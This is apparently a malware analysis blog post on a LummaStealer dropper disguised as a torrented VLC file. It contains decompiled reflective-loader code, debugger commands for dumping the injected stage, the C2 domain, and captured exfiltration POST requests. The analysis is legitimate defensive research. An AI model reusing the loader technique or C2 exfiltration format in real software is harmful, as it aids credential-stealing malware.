Analyzing LummaStealer in the wild
Fake torrents have been a means to spread malware for well over a decade. The links get reported, but there’s no real way to prevent it aside from not torrenting at all. A Reddit user explains their experience with a series of these, all of which have “SuccessfulCrab” in their titles:
Successfulcrab is actually a standard scene release tag but it’s being spoofed currently by people uploading these junk .zipx/.link/.arj files.
This led me to discover a LummaStealer dropper, which was disguised as one such torrent. It makes sense to see it since a CISA report from May of this year calls out an increase in LummaC2 activity.
LummaC2 malware is able to infiltrate victim computer networks and exfiltrate sensitive information, threatening vulnerable individuals’ and organizations’ computer networks across multiple U.S. critical infrastructure sectors. According to FBI information and trusted third-party reporting, this activity has been observed as recently as May 2025. The IOCs included in this advisory were associated with LummaC2 malware infections from November 2023 through May 2025.
The torrented file has the following SHA-256 hash:
4117b121704750560f2ca1620e70dbc11d89786623939b670e4f1872020dcff5
The filesize is almost 900 megabytes, so Virus Total could not scan it. At the time of writing, the hash had no results, either.
If you look at the filename, you’ll see it ends with the .scr
extension. This refers to Windows screensaver files. If you’ve ever ran “The Matrix” screensaver, you’ve probably used an SCR file.
A lesser-known, interesting fact about SCR files is that they are actually x86 (32-bit) executables. We can confirm this using the magic bytes:
$ file sample.scr
sample.scr: PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections
The icing on the cake is that the binary uses the VLC media player icon, which makes it look like a media file to anyone who uses that software. The attack likely relies on the user double-clicking it thinking that it will open with VLC. (Spoiler: it will not.)
We can use exiftool
to dump some useful preliminary information:
$ exiftool sample.scr
ExifTool Version Number : 13.00
File Name : sample.scr
Directory : .
File Size : 889 MB
File Modification Date/Time : 2025:07:15 11:58:55-04:00
File Access Date/Time : 2025:07:15 11:59:03-04:00
File Inode Change Date/Time : 2025:07:15 11:58:55-04:00
File Permissions : -rwxr-xr-x
File Type : Win32 EXE
File Type Extension : exe
MIME Type : application/octet-stream
Machine Type : Intel 386 or later, and compatibles
Time Stamp : 2025:06:28 08:44:47-04:00
Image File Characteristics : Executable, 32-bit
PE Type : PE32
Linker Version : 14.44
Code Size : 218112
Initialized Data Size : 49726464
Uninitialized Data Size : 0
Entry Point : 0x34360
OS Version : 6.0
Image Version : 0.0
Subsystem Version : 6.0
Subsystem : Windows GUI
File Version Number : 5.21.180.7087
Product Version Number : 5.21.180.7087
File Flags Mask : 0x0000
File Flags : (none)
File OS : Win32
Object File Type : Executable application
File Subtype : 0
Language Code : English (U.S.)
Character Set : Unicode
Company Name : PersistentProfile Engineering
File Description : Integrates deployed Namespace modules
File Version : 5.21.180.7087
Product Version : 5.21.11
Product Name : ZephyrAnswerwave
Legal Copyright : \u00A9 2025 PersistentProfile Engineering
Legal Trademarks : TM ZephyrAnswerwave
Internal Name : Luminoslightlink:Flashlink
Original File Name : Luminoslightlink:Flashlink.exe
Comments : layer integrator opened at server
The last set of items are interesting because they don’t match the type of file that this executable was spoofing. The “ZephyrAnswerwave” and “Luminoslightlink:Flashlink” strings were leads I chose not to pursue. My guess is that it is designed to look like a legitimate application; it also makes me wonder if, at some point, this was distributed as a fake torrent of those applications as well.
As another note, the “File Description” value will appear as the task’s name in task manager if you’re running Windows 10. The icon, however, is still the VLC logo.
Let’s start static analysis by opening the project in Ghidra. The executable has a ton of loops and a ton of register- and stack-based calls. While register calls like CALL EAX
signify the use of function pointers, the stack-based calls like CALL DWORD PTR [ESP+8]
stand out as a bit suspicious.
In addition, I noticed a generous amount of suspicious Windows library functions, but the function in which they live has no code path from the PE’s entrypoint. I marked this as a possible obfuscation technique.
To help me analyze the sample, I wrote a small Ghidra script that generates a call graph starting from the entrypoint. It’s simple and gives pretty rudimentary output:
callgraph.py> Running...
Call graph starting from program entrypoint
entry { @ 0xNone }
FUN_00001cd0 { @ 0x00034377 }
...
FUN_00034950 { @ 0x000344f2 }
FUN_00034ae0 { @ 0x000349e8 }
FUN_00034ae0 { @ 0x00034a66 }
CALL EBP { @ 0x00034a7d }
CALL EDI { @ 0x00034a86 }
CALL EBP { @ 0x00034a88 }
FreeLibrary { @ 0x00034a8f }
...
FUN_00001a50 { @ 0x00034595 }
FUN_00034ae0 { @ 0x00001ae5 }
CALL ESI { @ 0x00001b0e }
CALL ESI { @ 0x00001b1f }
CALL ESI { @ 0x00001b2e }
FUN_00036030 { @ 0x00001c7e }
FUN_00035fd0 { @ 0x000360a0 }
FUN_00035fd0 { @ 0x00036360 }
FUN_000018a0 { @ 0x00001ca3 }
VirtualAlloc { @ 0x000018c5 }
VirtualAlloc { @ 0x000018d8 }
FUN_00001880 { @ 0x000018e1 }
FUN_00001880 { @ 0x00001913 }
LoadLibraryA { @ 0x0000195a }
CALL dword ptr [ESP + 0x20] { @ 0x0000198a }
CALL EAX { @ 0x00001a2c }
VirtualFree { @ 0x00001a36 }
callgraph.py> Finished!
The script confirmed that there wasn’t a known code path leading to the function with all of those suspicious imports. Most of the calls were to internal functions. The final function called by the entrypoint’s code contained a code path to Windows memory allocators and library loaders, so I decided to start the bulk of my analysis there.
Here’s a snippet of the Ghidra decompilation:
void __fastcall FUN_000018a0(int param_1)
{
...
lpAddress = VirtualAlloc(*(LPVOID *)(iVar7 + 0x34),*(SIZE_T *)(iVar7 + 0x50),0x3000,0x40);
if (lpAddress == (LPVOID)0x0) {
lpAddress = VirtualAlloc((LPVOID)0x0,*(SIZE_T *)(iVar7 + 0x50),0x3000,0x40);
}
...
if (iVar10 != 0) {
iVar2 = *(int *)(iVar10 + 0xc + (int)lpAddress);
piVar5 = (int *)(iVar10 + (int)lpAddress);
while (iVar2 != 0) {
hModule = LoadLibraryA((LPCSTR)(piVar5[3] + (int)lpAddress));
if (hModule != (HMODULE)0x0) {
puVar11 = (undefined4 *)(piVar5[4] + (int)lpAddress);
iVar10 = piVar5[4];
if (*piVar5 + (int)lpAddress != 0) {
iVar10 = *piVar5;
}
puVar9 = (uint *)(iVar10 + (int)lpAddress);
uVar6 = *puVar9;
while (uVar6 != 0) {
if ((int)uVar6 < 0) {
lpProcName = (LPCSTR)(uVar6 & 0xffff);
}
else {
lpProcName = (LPCSTR)(uVar6 + 2 + (int)lpAddress);
}
pFVar3 = GetProcAddress(hModule,lpProcName);
puVar9 = puVar9 + 1;
*puVar11 = pFVar3;
puVar11 = puVar11 + 1;
uVar6 = *puVar9;
}
}
iVar2 = piVar5[8];
piVar5 = piVar5 + 5;
}
}
...
(*(code *)(*(int *)(iVar7 + 0x28) + (int)lpAddress))();
VirtualFree(lpAddress,0,0x8000);
return;
}
You’ll notice the use of some kernel functions. Here’s how they operate in this context:
VirtualAlloc
allocates a buffer of size 0x5d000. Don’t ask me why it’s always that value or if there’s another path to change the size.LoadLibraryA
will loop through a list of kernel DLLs and load them.GetProcAddress
will loop through the loaded libraries and store the addresses of some functions that we will see in a bit.VirtualFree
will free the buffer created at the beginning of the function.
With that out of the way, the goofy-looking function-pointer call, our CALL EAX
instruction from the graph, may make a little more sense. It’s calling some code offset within the memory buffer.
In sum, the buffer is storing a second stage, and that call will execute it. This is hard to appreciate in static analysis, but the debugger reveals it.
After looking at the hexdump, I noticed that the majority of the file is just null bytes, which split the file into two parts. The PE file exists in the first part.
The second part contains some certificates and other junk data. These are perhaps used in cryptographic operations when communicating with the C2 server, but they didn’t really come up in dynamic analysis.
I split the first part from the first byte to offset 0x2fa1bd0
. This resulted in a hash of:
8075916cd322593aa54f0bae87a3ff306162f71922da2872dbef0675fedc3e9f
The filesize is only 47.3 MB, which did scan in Virus Total.
You can see that a couple of vendors rightly flag it as Lumma. However, the behaviors are a bit unclear so far.
Let’s check it out in an isolated lab. The image loads as “Project3” in the debugger:
0:000> lm
start end module name
00ca0000 03c46000 Project3 (no symbols)
...
0:000> lm Dvm Project3
Browse full module list
start end module name
00ca0000 03c46000 Project3 (no symbols)
Loaded symbol image file: C:\sample.scr
Image path: Project3.exe
Image name: Project3.exe
Browse all global symbols functions data Symbol Reload
Timestamp: Sat Jun 28 05:44:47 2025 (685FE3BF)
CheckSum: 34FA890A
ImageSize: 02FA6000
File version: 5.21.180.7087
Product version: 5.21.180.7087
File flags: 0 (Mask 0)
File OS: 4 Unknown Win32
File type: 1.0 App
File date: 00000000.00000000
Translations: 0409.04b0
Information from resource tables:
CompanyName: PersistentProfile Engineering
ProductName: ZephyrAnswerwave
InternalName: Luminoslightlink:Flashlink
OriginalFilename: Luminoslightlink:Flashlink.exe
ProductVersion: 5.21.11
FileVersion: 5.21.180.7087
FileDescription: Integrates deployed Namespace modules
LegalCopyright: \u00A9 2025 PersistentProfile Engineering
LegalTrademarks: TM ZephyrAnswerwave
Comments: layer integrator opened at server
Start by breaking on the CALL EAX offset and tracing one step:
# Break just before the code buffer is called.
0:000> bu Project3+0x1a2c
0:000> g
...
Project3+0x1a2c:
00781a2c ffd0 call eax {0040b610}
0:000> tr
0040b610 55 push ebp
0:000> u
0040b610 55 push ebp
0040b611 53 push ebx
0040b612 57 push edi
0040b613 56 push esi
0040b614 81ec20020000 sub esp,220h
0040b61a e8118f0300 call 00404530
0040b61f 84c0 test al,al
0040b621 0f848e020000 je 0040b8b5
The injected code’s entrypoint is always at buffer_addr+0xb610
. We can now analyze the second stage, which is the LummaStealer binary.
Before continuing, I recommend reading this article, which covers Lumma’s overall behaviors. Take note of the C2 logic and specific strings like “HWID.” Next, this sample was tested in an isolated lab running a fake HTTP webserver. At the time, I wasn’t aware that this was a Lumma sample, so the server returns junk data (a string of 256 “A” characters). The injected code requires some data returned from the server, but at this time, I just haven’t tried any of the C2 responses as noted in the Microsoft article. This write-up could become a two-parter.
Finally, a brief caveat: I chose to study this in a 32-bit context because .scr
files are 32 bits by nature. An analysis in a 64-bit context is likely overdue. The virtual machine used for analysis runs Windows 10, Build 19045 (22H2).
Let me summarize the injected code’s “default” logic:
- The malware loads crypt32.dll and winhttp.dll
- An initial POST request is sent to the C2 server with the following POST body parameters: CID, HWID, and UID
- A round of discovery occurs, where predefined registry keys and file paths are queried
- The malware sends another POST request, but this time, a multipart body, which contains the same CID, UID, HWID, and now an encrypted body
- Another round of discovery-and-POST’ing occurs
- The application frees a buffer and gracefully exits
It’s important to note that, during discovery, no changes to the registries or files occur. Additionally, the malware has a list of predefined hostnames. If none of them can be resolved, it sends a GET request to a Steam Community account, then gracefully exits.
The connection uses HTTPS by default. This is enabled by the security flags used in the call to winhttp!WinHttpOpenRequest
:
winhttp!WinHttpOpenRequest:
6f549660 8bff mov edi,edi
0:000> dd esp
03afed40 0040ee25 03bf3700 03afedc4 00450b76
03afed50 00000000 00000000 00000000 00800000 <-
The dwFlags
argument at ESP+0x1c is the WINHTTP_FLAG_SECURE
flag, a constant value of 0x800000
. With HTTPS, it wouldn’t make the connection to my self-signed certificates, so I used a breakpoint to downgrade the requests to plaintext HTTP:
bu winhttp!WinHttpOpenRequest "ed esp+0x1c 0; g";
The domains are always tested in the same order. The falsiu[.]shop
domain is always first. Each domain is known to ThreatFox and is associated with the stealer.
The injected code is mostly spaghetti (obfuscation, defense evasion) and, because it runs in heap space, the debugger gets easily confused.
You can slice it out for further analysis. These breakpoints helped with that process:
# Get the size of the buffer.
bu Project3+0x18c5 "r $t1 = poi(esp+8)"
# Buffer allocation default path.
bu Project3+0x18c7 "r $t0 = eax; g";
# Buffer allocation if the first one failed.
bu Project3+0x18da "r $t0 = eax; g";
Finally, set one at Project3+0x1a2c
and run (or rerun) the dropper. Once it breaks, you can dump LummaStealer with .writemem
:
# Write from (buffer_addr, buffer_addr+size-1).
.writemem C:\dump.bin $t0 $t0+$t1-1
This results in a file with a hash of:
58fa589c19a85c7233e8fb2b2616672a1e6de8902456ddc63f89f6f0563c5ced
This one raises three times as many detections than the previous stage:
We can use a hex viewer to verify that the entrypoint offset 0x6b10 has the bytes we saw in the disassembly:
$ hexdump -X --skip 0xb610 dump.bin | head -n 1
000b610 55 53 57 56 81 ec 20 02 00 00 e8 11 8f 03 00 84
We can also use a tool like pedis
(PE disassembler) to confirm that this disassembles to the correct instructions:
$ pedis -r -e 0x400000 -o 0xb610 -m 32 dump.bin | head -n 10
b610: 55 push ebp
b611: 53 push ebx
b612: 57 push edi
b613: 56 push esi
b614: 81 ec 20 02 00 00 sub esp, 0x220
b61a: e8 11 8f 03 00 call 0x444530
b61f: 84 c0 test al, al
b621: 0f 84 8e 02 00 00 jz 0x40b8b5
b627: e8 b4 0a 03 00 call 0x43c0e0
b62c: 84 c0 test al, al
The dump even has a valid PE header:
$ readpe dump.bin
DOS Header
Magic number: 0x5a4d (MZ)
Bytes in last page: 120
Pages in file: 1
Relocations: 0
Size of header in paragraphs: 4
Minimum extra paragraphs: 0
Maximum extra paragraphs: 0
Initial (relative) SS value: 0
Initial SP value: 0
Initial IP value: 0
Initial (relative) CS value: 0
Address of relocation table: 0x40
Overlay number: 0
OEM identifier: 0
OEM information: 0
PE header offset: 0x78
PE header
Signature: 0x00004550 (PE)
COFF/File header
Machine: 0x14c IMAGE_FILE_MACHINE_I386
Number of sections: 4
Date/time stamp: 1751033032 (Fri, 27 Jun 2025 14:03:52 UTC)
Symbol Table offset: 0
Number of symbols: 0
Size of optional header: 0xe0
Characteristics: 0x102
Characteristics names
IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_32BIT_MACHINE
Optional/Image header
Magic number: 0x10b (PE32)
Linker major version: 14
Linker minor version: 0
Size of .text section: 0x49400
Size of .data section: 0x8e00
Size of .bss section: 0
Entrypoint: 0xb610
Address of .text section: 0x1000
Address of .data section: 0
ImageBase: 0x400000
Alignment of sections: 0x1000
Alignment factor: 0x200
Major version of required OS: 6
Minor version of required OS: 0
Major version of image: 0
Minor version of image: 0
Major version of subsystem: 6
Minor version of subsystem: 0
Win32 version value: 0
Overwrite OS major version: (default)
Overwrite OS minor version: (default)
Overwrite OS build number: (default)
Overwrite OS platform id: (default)
Size of image: 0x5d000
Size of headers: 0x400
Checksum: 0
Subsystem required: 0x2 (IMAGE_SUBSYSTEM_WINDOWS_GUI)
DLL characteristics: 0x8540
DLL characteristics names
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE
Size of stack to reserve: 0x100000
Size of stack to commit: 0x1000
Size of heap space to reserve: 0x100000
Size of heap space to commit: 0x1000
Loader Flags: 0
Loader Flags names
...
If you try to load this as-is in Ghidra, it will read the header and try to resolve everything. But it won’t resolve anything correctly; you can prove that by observing that the entrypoint at offset 0xb610
contains vastly different code. You can find the actual entrypoint by searching for the first eight bytes which comprise its instruction set, but the majority of the binary will not disassemble properly.
To fix it, reimport the dump file with these settings:
- Import as a RAW file with x86 (little endian) clang
- Set the base address to the value of $t0 from the debugger
You still need to manually kick off the disassembly and create a function at $t0+0xb610
, but this time, all of the references and function definitions throughout the binary will resolve correctly.
In addition, Ghidra should correctly decompile the switch statements. (There are many.)
The disassembly and decompilation is not without its blind spots. First, all context of imported library functions is lost; the references appear only as their raw file addresses without labels. Second, because we also lose the stack and heap, the values of obfuscated call styles (calling registers or memory offsets) is also lost.
An interesting obfuscation technique involves the use of a custom syscall wrapper. This is always located at $t0+0x40000+0x5446
. You can set a breakpoint prior to the main program’s execution for analysis:
bu Project3+0x1a2c "bu $t0+0x00040000+0x5446; g"
Again, I chose to break at 0x1a2c
because that’s the call site of the injected code.
The call site uses its own custom logic to make syscalls directly instead of using the higher-level function wrappers.
The call to $t0+0x40000+5446
always calls the same wrapper:
This breakpoint will pause on NtFileRead
operations, which have the syscall ID of 0x8e
on 32-bit Windows 10 22H2 versions, if you want to inspect any of the syscalls further:
bu Project3+0x1a2c "bu $t0+0x00040000+0x5446 \".if (@eax != 0x8e) {gc} .else {r eax; p; dd poi(esp+0x18)}\"; g";
As noted earlier, there are typically four rounds of communication before graceful exit. The first and last message is usually identical, with the exception that the HWID value appears in the fourth one:
# First...
POST /zpah? HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Length: 87
Host: falsiu.shop:443
uid=88b3b49f0a9eee8bc4a28fa4332343861e9d8e80adfdcc&cid=1a1c2c9f14d0b22156cd2760cec88517
# Fourth...
POST /zpah? HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Length: 125
Host: falsiu.shop:443
uid=88b3b49f0a9eee8bc4a28fa4332343861e9d8e80adfdcc&cid=1a1c2c9f14d0b22156cd2760cec88517&hwid=9C503F4AE14A40A1FC9088348D5AE88D
The second and third messages contain encrypted data:
POST /zpah? HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=IbbvIj4Y4zG
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Length: 1218
Host: falsiu.shop:443
--IbbvIj4Y4zG
Content-Disposition: form-data; name="uid"
88b3b49f0a9eee8bc4a28fa4332343861e9d8e80adfdcc
--IbbvIj4Y4zG
Content-Disposition: form-data; name="pid"
1
--IbbvIj4Y4zG
Content-Disposition: form-data; name="hwid"
9C503F4AE14A40A1FC9088348D5AE88D
--IbbvIj4Y4zG
Content-Disposition: form-data; name="file"; filename="data"
Content-Type: application/octet-stream
< encrypted data... >
This follows some of the patterns observed in the Windows guide:
Lumma Stealer keeps track of the active C2 for sending the succeeding commands. Each command is sent to a single C2 domain that is active at that point. In addition, each C2 command contains one or more C2 parameters specified as part of the POST data as form data. The parameters are:
- act: Indicates the C2 command. Note: This C2 parameter no longer exists in Lumma version 6.
- ver: Indicates C2 protocol version. This value is always set to 4.0 and has never changed since the first version Lumma.
- lid (for version 5 and below)/uid (for version 6): This ID identifies the Lumma client/operator and its campaign.
- j (for version 5 and below )/cid (for version 6): This is an optional field that identifies additional Lumma features.
- hwid: Indicates the unique identifier for the victim machine.
- pid: Used in SEND_MESSAGE command to identify the source of the stolen data. A value of 1, indicates it came from the Lumma core process.
My analysis only observed the UID (version 6), PID, and HWID parameters. Admittedly, I didn’t make time to play around with the C2 commands and their parameters. That could be the topic of another writeup.
At the time of writing, it’s not clear to me what routine exactly is responsible for the encryption. The Microsoft guide underscores the use of ChaCha20, but it’s not a lead I chose to follow in the decompilation. Some of the more interesting files it looks for include Notepad++’s session.xml
, Discord’s Local State
, and various Thunderbird and Outlook files. Given the breadth of files discovered, it would be interesting to see how much of that data is sent in these requests.
The MITRE TTPs are consistent with prior findings, the observables serving as a subset of the official collection. We can summarize the findings here with a watered-down diagram: